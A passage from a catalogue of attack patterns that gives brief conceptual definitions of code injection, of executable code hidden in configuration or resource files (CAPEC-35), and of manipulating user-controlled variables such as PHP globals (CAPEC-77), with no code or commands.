An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.